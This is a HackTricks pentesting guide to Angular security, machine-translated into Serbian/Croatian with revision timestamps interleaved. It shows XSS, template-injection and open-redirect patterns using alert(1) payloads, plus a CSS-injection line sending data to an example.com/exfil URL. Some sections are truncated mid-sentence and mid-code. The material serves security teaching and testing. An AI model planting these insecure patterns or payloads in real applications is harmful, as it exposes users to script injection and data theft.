hacktricks/network-services-pentesting/pentesting-web/angular.md

599 lines
28 KiB
Markdown
Raw Normal View History

# Angular
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Lista za proveru
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Lista za proveru [ovde](https://lsgeurope.com/post/angular-security-checklist).
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
* [ ] Angular se smatra klijentskim okvirom i ne očekuje se da pruža zaštitu na serverskoj strani
* [ ] Sourcemap za skripte je onemogućen u konfiguraciji projekta
* [ ] Nepouzdan unos korisnika uvek se interpolira ili sanitizuje pre upotrebe u šablonima
* [ ] Korisnik nema kontrolu nad serverskim ili klijentskim šablonima
* [ ] Nepouzdan unos korisnika se sanitizuje koristeći odgovarajući bezbednosni kontekst pre nego što ga aplikacija smatra pouzdanim
* [ ] Metode `BypassSecurity*` se ne koriste sa nepouzdanim unosom
* [ ] Nepouzdan unos korisnika se ne prosleđuje Angular klasama kao što su `ElementRef`, `Renderer2` i `Document`, ili drugim JQuery/DOM izvorima
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Šta je Angular
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Angular je **moćan** i **open-source** front-end okvir održavan od strane **Google-a**. Koristi **TypeScript** za poboljšanje čitljivosti i debagiranja koda. Sa snažnim mehanizmima bezbednosti, Angular sprečava uobičajene ranjivosti na klijentskoj strani kao što su **XSS** i **otvorena preusmeravanja**. Može se koristiti i na serverskoj strani, što čini bezbednosne razmatranja važnim sa **obe strane**.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Arhitektura okvira
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Da bismo bolje razumeli osnove Angulara, prođimo kroz njegove osnovne koncepte.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Tipičan Angular projekat obično izgleda ovako:
2023-08-14 11:58:56 +00:00
```bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
2024-02-10 13:11:20 +00:00
Prema dokumentaciji, svaka Angular aplikacija ima barem jednu komponentu, glavnu komponentu (`AppComponent`) koja povezuje hijerarhiju komponenti sa DOM-om. Svaka komponenta definiše klasu koja sadrži podatke i logiku aplikacije, i povezana je sa HTML šablonom koji definiše prikaz koji će se prikazati u ciljnom okruženju. Dekorator `@Component()` identifikuje klasu ispod njega kao komponentu i pruža šablon i povezane metapodatke specifične za komponentu. `AppComponent` je definisan u fajlu `app.component.ts`.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Angular NgModules deklarišu kontekst kompilacije za skup komponenti koji je posvećen domenu aplikacije, radnom toku ili tesno povezanom skupu mogućnosti. Svaka Angular aplikacija ima glavni modul, konvencionalno nazvan `AppModule`, koji pruža mehanizam za pokretanje aplikacije. Aplikacija obično sadrži mnogo funkcionalnih modula. `AppModule` je definisan u fajlu `app.module.ts`.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
NgModule `Router` u Angularu pruža uslugu koja vam omogućava da definišete put navigacije između različitih stanja aplikacije i hijerarhija prikaza u vašoj aplikaciji. `RouterModule` je definisan u fajlu `app-routing.module.ts`.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Za podatke ili logiku koja nije povezana sa određenim prikazom, a koju želite deliti između komponenti, kreirate klasu servisa. Definicija klase servisa odmah je prethodena dekoratorom `@Injectable()`. Dekorator pruža metapodatke koji omogućavaju da se drugi provajderi ubace kao zavisnosti u vašu klasu. Ubacivanje zavisnosti (DI) omogućava vam da zadržite vitke i efikasne klase komponenti. One ne preuzimaju podatke sa servera, ne validiraju korisnički unos ili ne beleže direktno u konzolu; te zadatke delegiraju servisima.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Konfiguracija sourcemap-a
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Angular okvir prevodi TypeScript fajlove u JavaScript kod prateći opcije `tsconfig.json` i zatim gradi projekat sa konfiguracijom `angular.json`. Pregledajući fajl `angular.json`, primetili smo opciju za omogućavanje ili onemogućavanje sourcemap-a. Prema Angular dokumentaciji, podrazumevana konfiguracija ima omogućen fajl sourcemap-a za skripte i podrazumevano nije sakriven:
2023-08-14 11:58:56 +00:00
```json
"sourceMap": {
2024-02-10 13:11:20 +00:00
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
2023-08-14 11:58:56 +00:00
}
```
2024-02-10 13:11:20 +00:00
Općenito, datoteke sourcemap se koriste u svrhe otklanjanja grešaka jer mapiraju generirane datoteke s njihovim izvornim datotekama. Stoga se ne preporučuje njihova upotreba u produkcijskom okruženju. Ako su sourcemaps omogućene, poboljšava se čitljivost i olakšava analiza datoteka repliciranjem izvornog stanja Angular projekta. Međutim, ako su onemogućene, recenzent i dalje može ručno analizirati kompiliranu JavaScript datoteku tražeći anti-sigurnosne obrasce.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Osim toga, kompilirana JavaScript datoteka s Angular projektom može se pronaći u alatima za razvoj preglednika → Izvori (ili Debugger i Izvori) → \[id].main.js. Ovisno o omogućenim opcijama, ova datoteka može sadržavati sljedeći redak na kraju `//# sourceMappingURL=[id].main.js.map` ili ne mora, ako je postavljena opcija **hidden** na **true**. Međutim, ako je sourcemap onemogućen za **skripte**, testiranje postaje složenije i ne možemo dobiti datoteku. Osim toga, sourcemap se može omogućiti tijekom izgradnje projekta kao `ng build --source-map`.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Povezivanje podataka
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Povezivanje se odnosi na proces komunikacije između komponente i odgovarajućeg prikaza. Koristi se za prijenos podataka u i iz Angular okvira. Podaci se mogu prenositi na različite načine, kao što su putem događaja, interpolacije, svojstava ili putem mehanizma dvosmjernog povezivanja. Osim toga, podaci se mogu dijeliti između povezanih komponenti (roditelj-dijete odnos) i između dvije nesrodne komponente pomoću značajke Servis.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Povezivanje možemo klasificirati prema toku podataka:
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
* Izvor podataka prema cilju prikaza (uključuje _interpolaciju_, _svojstva_, _atribute_, _klase_ i _stilove_); može se primijeniti korištenjem `[]` ili `{{}}` u predlošku;
* Cilj prikaza prema izvoru podataka (uključuje _događaje_); može se primijeniti korištenjem `()` u predlošku;
* Dvosmjerno; može se primijeniti korištenjem `[()]` u predlošku.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Povezivanje se može primijeniti na svojstva, događaje i atribute, kao i na bilo koji javni član izvorne direktive:
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
| TIP | CILJ | PRIMJERI |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
2024-02-10 13:11:20 +00:00
| Svojstvo | Svojstvo elementa, svojstvo komponente, svojstvo direktive | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Događaj | Događaj elementa, događaj komponente, događaj direktive | \<button type="button" (click)="onSave()">Save |
| Dvosmjerno | Događaj i svojstvo | \<input \[(ngModel)]="name"> |
| Atribut | Atribut (iznimka) | \<button type="button" \[attr.aria-label]="help">help |
| Klasa | Svojstvo klase | \<div \[class.special]="isSpecial">Special |
| Stil | Svojstvo stila | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Angular sigurnosni model
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Dizajn Angulara uključuje kodiranje ili sanitizaciju svih podataka prema zadanim postavkama, što otežava otkrivanje i iskorištavanje XSS ranjivosti u Angular projektima. Postoje dvije različite situacije za obradu podataka:
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
1. Interpolacija ili `{{korisnički_unos}}` - izvodi kontekstno osjetljivo kodiranje i interpretira korisnički unos kao tekst;
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-10 13:11:20 +00:00
//app.component.html
{{test}}
```
2024-02-10 13:11:20 +00:00
Rezultat: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Povezivanje s svojstvima, atributima, klasama i stilovima ili `[atribut]="korisnički_unos"` - vrši sanitizaciju na temelju pruženog sigurnosnog konteksta.
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
2024-02-10 13:11:20 +00:00
//app.component.html
<div [innerHtml]="test"></div>
```
2024-02-10 13:11:20 +00:00
Rezultat: `<div><h1>test</h1></div>`
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Postoji 6 vrsta `SecurityContext` :
2023-08-14 11:58:56 +00:00
* `None`;
2024-02-10 13:11:20 +00:00
* `HTML` se koristi kada se vrijednost interpretira kao HTML;
* `STYLE` se koristi kada se CSS veže na svojstvo `style`;
* `URL` se koristi za URL svojstva, poput `<a href>`;
* `SCRIPT` se koristi za JavaScript kod;
* `RESOURCE_URL` kao URL koji se učitava i izvršava kao kod, na primjer, u `<script src>`.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
## Ranjivosti
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
### Bypass Security Trust metode
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Angular uvodi niz metoda za zaobilaženje svojeg zadanih postupaka sanitizacije i za označavanje da se vrijednost može sigurno koristiti u određenom kontekstu, kao u sljedećih pet primjera:
2024-02-10 13:11:20 +00:00
1. `bypassSecurityTrustUrl` se koristi za označavanje da je dana vrijednost siguran URL stila:
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
2024-02-10 13:11:20 +00:00
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
2024-02-10 13:11:20 +00:00
//rezultat
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` se koristi za označavanje da je dana vrijednost siguran URL resursa:
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
2024-02-10 13:11:20 +00:00
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
2024-02-10 13:11:20 +00:00
//rezultat
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` se koristi za označavanje da je dana vrijednost siguran HTML. Napomena: umetanje `script` elemenata na ovaj način u DOM stablo neće rezultirati izvršavanjem priloženog JavaScript koda zbog načina na koji se ti elementi dodaju u DOM stablo.
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
//rezultat
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` se koristi za označavanje da je dana vrijednost siguran JavaScript. Međutim, primijetili smo da je njegovo ponašanje nepredvidljivo jer nismo mogli izvršiti JS kod u predlošcima koristeći ovu metodu.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
//app.component.html
<script [innerHtml]="trustedScript"></script>
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
//rezultat
-
```
5. `bypassSecurityTrustStyle` se koristi za označavanje da je dana vrijednost siguran CSS. Sljedeći primjer ilustrira umetanje CSS-a:
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
```jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
//rezultat
Request URL: GET example.com/exfil/a
```
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Angular pruža metodu `sanitize` za pročišćavanje podataka prije njihovog prikaz
### HTML ubacivanje
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Ova ranjivost se javlja kada korisnički unos bude vezan za bilo koju od tri osobine: `innerHTML`, `outerHTML` ili `iframe` `srcdoc`. Dok se vezivanje za ove atribute tumači kao HTML, unos se sanitizuje koristeći `SecurityContext.HTML`. Stoga, HTML ubacivanje je moguće, ali ne i cross-site scripting (XSS).
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Primer korišćenja `innerHTML`:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
import { Component} from '@angular/core';
@Component({
2024-02-10 13:11:20 +00:00
selector: 'app-root',
templateUrl: './app.component.html'
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 13:11:20 +00:00
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
2023-08-14 11:58:56 +00:00
}
//app.component.html
<div [innerHTML]="test"></div>
```
2024-02-10 13:11:20 +00:00
Rezultat je `<div><h1>test</h1></div>`.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
### Ubacivanje šablona
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
#### Klijentsko renderovanje (CSR)
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Angular koristi šablone za dinamičko konstruisanje stranica. Pristup podrazumeva da se izrazi šablona koje Angular treba da proceni, nalaze između dvostrukih vitičastih zagrada (`{{}}`). Na ovaj način, okvir pruža dodatne funkcionalnosti. Na primer, šablon poput `{{1+1}}` biće prikazan kao 2.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Uobičajeno, Angular izbegava korisnički unos koji može biti pogrešno shvaćen kao izrazi šablona (npr. karakteri kao što su \`< > ' " \`\`). To znači da su potrebni dodatni koraci da bi se zaobišlo ovo ograničenje, kao što je korišćenje funkcija koje generišu JavaScript string objekte kako bi se izbegli karakteri koji su na crnoj listi. Međutim, da bismo to postigli, moramo uzeti u obzir Angular kontekst, njegova svojstva i promenljive. Stoga, napad ubacivanja šablona može izgledati ovako:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
2024-02-10 13:11:20 +00:00
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
2023-08-14 11:58:56 +00:00
})
```
2024-02-10 13:11:20 +00:00
Kao što je prikazano iznad: `constructor` se odnosi na opseg svojstva `constructor` objekta, omogućavajući nam da pozovemo konstruktor Stringa i izvršimo proizvoljni kod.
2023-08-14 11:58:56 +00:00
#### Server-Side Rendering (SSR)
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Za razliku od CSR-a, koji se odvija u DOM-u pregledača, Angular Universal je odgovoran za SSR datoteka predložaka. Ove datoteke se zatim dostavljaju korisniku. Bez obzira na tu razliku, Angular Universal primjenjuje iste mehanizme sanitizacije koji se koriste u CSR-u kako bi poboljšao sigurnost SSR-a. Ranjivost ubrizgavanja predložaka u SSR-u može se primijetiti na isti način kao i u CSR-u, jer se koristi isti jezik predložaka.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Naravno, postoji i mogućnost uvođenja novih ranjivosti ubrizgavanja predložaka prilikom korištenja predložaka trećih strana kao što su Pug i Handlebars.
2023-08-14 11:58:56 +00:00
### XSS
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
#### DOM interfejsi
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Kao što je prethodno navedeno, možemo direktno pristupiti DOM-u koristeći interfejs _Document_. Ako korisnički unos nije validiran unaprijed, to može dovesti do ranjivosti ubrizgavanja skripti (XSS).
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
U primjerima ispod koristili smo metode `document.write()` i `document.createElement()`:
2023-08-14 11:58:56 +00:00
```jsx
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
2024-02-10 13:11:20 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 13:11:20 +00:00
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
2024-02-10 13:11:20 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 13:11:20 +00:00
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
2023-08-14 11:58:56 +00:00
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
2024-02-10 13:11:20 +00:00
selector: 'app-root',
template: ''
2023-08-14 11:58:56 +00:00
})
export class AppComponent{
2024-02-10 13:11:20 +00:00
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
```
#### Angular klase
Postoje neke klase koje se mogu koristiti za rad sa DOM elementima u Angularu: `ElementRef`, `Renderer2`, `Location` i `Document`. Detaljan opis poslednje dve klase je dat u odeljku **Open redirects**. Glavna razlika između prvih dve je što `Renderer2` API pruža sloj apstrakcije između DOM elementa i koda komponente, dok `ElementRef` samo čuva referencu na element. Prema dokumentaciji Angulara, `ElementRef` API treba koristiti samo kao poslednje rešenje kada je potreban direktan pristup DOM-u.
* `ElementRef` sadrži svojstvo `nativeElement`, koje se može koristiti za manipulaciju DOM elementima. Međutim, nepravilna upotreba `nativeElement` može rezultirati ranjivošću XSS ubrizgavanja, kao što je prikazano u primeru ispod:
```tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
```
* Uprkos činjenici da `Renderer2` pruža API koji se može sigurno koristiti čak i kada direktan pristup izvornim elementima nije podržan, i dalje ima neke sigurnosne nedostatke. Pomoću `Renderer2`-a moguće je postaviti atribute na HTML element koristeći metodu `setAttribute()`, koja nema mehanizme za prevenciju XSS-a.
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
2023-08-14 11:58:56 +00:00
}
2024-02-10 13:11:20 +00:00
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Klikni me!</button>
2023-08-14 11:58:56 +00:00
```
2024-02-10 13:11:20 +00:00
* Da biste postavili svojstvo DOM elementa, možete koristiti metodu `Renderer2.setProperty()` i pokrenuti XSS napad:
```tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Klikni me!</button>
```
Tokom našeg istraživanja, takođe smo ispitivali ponašanje drugih metoda `Renderer2`, kao što su `setStyle()`, `createComment()` i `setValue()`, u vezi sa XSS i CSS ubrizgavanjem. Međutim, nismo uspeli da pronađemo validne vektore napada za ove metode zbog njihovih funkcionalnih ograničenja.
2023-08-14 11:58:56 +00:00
#### jQuery
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
jQuery je brza, mala i bogata JavaScript biblioteka koja se može koristiti u Angular projektu za manipulaciju HTML DOM objektima. Međutim, kao što je poznato, metode ove biblioteke mogu biti iskorišćene kako bi se postigla ranjivost XSS-a. Da bismo razgovarali o tome kako neke ranjive jQuery metode mogu biti iskorišćene u Angular projektima, dodali smo ovaj pododeljak.
* Metoda `html()` dobavlja HTML sadržaj prvog elementa u skupu odgovarajućih elemenata ili postavlja HTML sadržaj svakog odgovarajućeg elementa. Međutim, po dizajnu, bilo koji jQuery konstruktor ili metoda koja prihvata HTML string potencijalno može izvršiti kod. To može biti izvršeno ubrizgavanjem `<script>` oznaka ili korišćenjem HTML atributa koji izvršavaju kod, kao što je prikazano u primeru.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Klikni me</button>
<p>neki tekst ovde</p>
```
* Metoda `jQuery.parseHTML()` koristi ugrađene metode za konvertovanje stringa u skup DOM čvorova, koji se zatim mogu umetnuti u dokument.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Kao što je već pomenuto, većina jQuery API-ja koji prihvataju HTML stringove će pokrenuti skripte koje su uključene u HTML. Metoda `jQuery.parseHTML()` ne pokreće skripte u parsiranom HTML-u osim ako se eksplicitno ne postavi `keepScripts` na `true`. Međutim, i dalje je moguće indirektno izvršiti skripte u većini okruženja, na primer, putem atributa `<img onerror>`.
```tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Klikni me</button>
<p id="palias">neki tekst</p>
```
2023-08-14 11:58:56 +00:00
### Open redirects
2024-02-10 13:11:20 +00:00
#### DOM interfejsi
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
Prema W3C dokumentaciji, objekti `window.location` i `document.location` se tretiraju kao sinonimi u modernim pregledačima. Zbog toga imaju sličnu implementaciju nekih metoda i svojstava, što može dovesti do otvorenog preusmeravanja i DOM XSS-a sa napadima šeme `javascript://`, kako je navedeno u nastavku.
2023-08-14 11:58:56 +00:00
2024-02-10 13:11:20 +00:00
* `window.location.href`(i `document.location.href`)
2024-02-10 13:11:20 +00:00
Kanonski način dobijanja trenutnog DOM objekta lokacije je korišćenje `window.location`. Takođe se može koristiti za preusmeravanje pregledača na novu stranicu. Kao rezultat, kontrola nad ovim objektom omogućava nam iskorišćavanje ranjivosti otvorenog preusmeravanja.
2024-02-10 13:11:20 +00:00
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
2024-02-10 13:11:20 +00:00
//app.component.html
<button type="button" (click)="goToUrl()">Klikni me!</button>
```
2024-02-10 13:11:20 +00:00
Proces iskorišćavanja je identičan za sledeće scenarije.
* `window.location.assign()`(i `document.location.assign()`)
2024-02-10 13:11:20 +00:00
Ova metoda uzrokuje učitavanje i prikazivanje dokumenta na navedenoj URL adresi. Ako imamo kontrolu nad ovom metodom, može biti mesto za napad otvorenog preusmeravanja.
2024-02-10 13:11:20 +00:00
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
```
* `window.location.replace()`(i `document.location.replace()`)
2024-02-10 13:11:20 +00:00
Ova metoda zamenjuje trenutni resurs onim koji je naveden u URL-u.
2024-02-10 13:11:20 +00:00
Razlika u odnosu na metodu `assign()` je da nakon korišćenja `window.location.replace()`, trenutna stranica neće biti sačuvana u istoriji sesije. Međutim, takođe je moguće iskoristiti ranjivost otvorenog preusmeravanja kada imamo kontrolu nad ovom metodom.
2024-02-10 13:11:20 +00:00
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
```
* `window.open()`
2024-02-10 13:11:20 +00:00
Metoda `window.open()` uzima URL i učitava resurs koji identifikuje u novoj ili postojećoj kartici ili prozoru. Imati kontrolu nad ovom metodom takođe može biti prilika za pokretanje XSS ili ranjivosti otvorenog preusmeravanja.
```tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://
#### Angular klase
* Prema Angular dokumentaciji, Angular `Document` je isto što i DOM dokument, što znači da je moguće koristiti uobičajene vektore za DOM dokument kako bi se iskoristile ranjivosti na klijentskoj strani u Angularu. Svojstva i metode `Document.location` mogu biti izvori uspešnih napada otvorenog preusmeravanja, kao što je prikazano u primeru:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Klikni me!</button>
```
* Tokom istraživačke faze, takođe smo pregledali Angular klasu `Location` u potrazi za ranjivostima otvorenog preusmeravanja, ali nisu pronađeni validni vektori. `Location` je Angular servis koji aplikacije mogu koristiti za interakciju sa trenutnim URL-om pregledača. Ovaj servis ima nekoliko metoda za manipulaciju datim URL-om - `go()`, `replaceState()` i `prepareExternalUrl()`. Međutim, ne možemo ih koristiti za preusmeravanje na spoljni domen. Na primer:
```tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
```
Rezultat: `http://localhost:4200/http://google.com/about`
* Angular klasa `Router` se uglavnom koristi za navigaciju unutar istog domena i ne uvodi dodatne ranjivosti u aplikaciju:
```jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
```
Rezultat: `http://localhost:4200/https:`
Sledeće metode takođe navigiraju unutar domenskog opsega:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
```
## Reference
* [Angular](https://angular.io/)
* [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1)
* [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2)
* [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3)
* [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist)
* [Workspace and project file structure](https://angular.io/guide/file-structure)
* [Introduction to components and templates](https://angular.io/guide/architecture-components)
* [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
* [Binding syntax](https://angular.io/guide/binding-syntax)
* [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
* [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
